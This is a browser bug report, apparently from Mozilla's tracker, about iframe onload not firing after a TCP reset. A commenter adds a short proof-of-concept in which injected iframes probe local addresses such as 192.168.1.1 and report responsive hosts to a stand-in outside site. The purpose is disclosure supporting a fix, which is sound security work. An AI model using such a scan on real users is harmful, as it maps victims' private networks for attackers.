929899 - iframe onload does not fire when the tcp connection reset by server

Status: UNCONFIRMED

(Core :: DOM: Navigation, defect)

Description

[baiyang]

User Agent: Mozilla/5.0 (Windows NT 5.2; rv:24.0) Gecko/20100101 Firefox/24.0 (Beta/Release)
Build ID: 20130910160258

Steps to reproduce:

1. create an iframe, and within it, create a form to upload a file.
2. select a file and submit it.



Actual results:

if the file uploaded successfully, the onload event will be triggered, BUT if the file uploading failed (TCP connection REST by server or router), then the event is not triggered.


Expected results:

on IE and Chrome the "onload" event always be triggered even if the underlayer TCP connection received a 'RST' package. This behavior allow us deal with the fault elegantly, and notify users timely.

Comment 1

[Olli Pettay [:smaug][[e-mail]]]

Need to check what the spec says.


Anne, does Fetch say anything about this, or is this all in HTML spec level?

Comment 2

[Anne (:annevk)]

HTML: https://www.w3.org/Bugs/Public/show_bug.cgi?id=23609

Comment 3

[baiyang]

You can test it by: http://philo-tech.com/iframetest.htm

Open the above url with firefox, chrome and IE respectively, IE and Chrome will show 'onload', and nothing appeared in firefox.

The key point in 'iframetest.htm' is:
<iframe src="http://wd.philo-tech.com/FFC/TestRST" onload = "alert('onload')" onerror="alert('onerror')"></iframe>

And 'FFC/TestRST' is a test api, witch is simply REST current TCP connection (note: REST a connection and return a 404 response are very different).

Comment 4

[baiyang]

Any body there?

Comment 5

[velipekka.muli]

Fixing this would make working with iframes a lot nicer. It's very useful to know when the loading of the iframe has finished even if the loading wasn't successful. I also see a potential security problem here. This bug could be used to scan the victim's local network and report the results to the attacker. Something similar was mentioned in http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html. The example below scans my local IP addresses and reports to the attacker that the IP address 192.168.1.1 that is the admin UI of my modem is responding. XSS can be used for adding the malicious code. If Firefox would fire the load event even on failures like Chrome and IE this would not be possible as any URL would have the same result.

<iframe src="http://192.168.1.1" onload="var request = new XMLHttpRequest(); request.open('GET', 'http://some_other_site?url=192.168.1.1'); request.send();"></iframe>
<iframe src="http://192.168.1.2" onload="var request = new XMLHttpRequest(); request.open('GET', 'http://some_other_site?url=192.168.1.2'); request.send();"></iframe>
...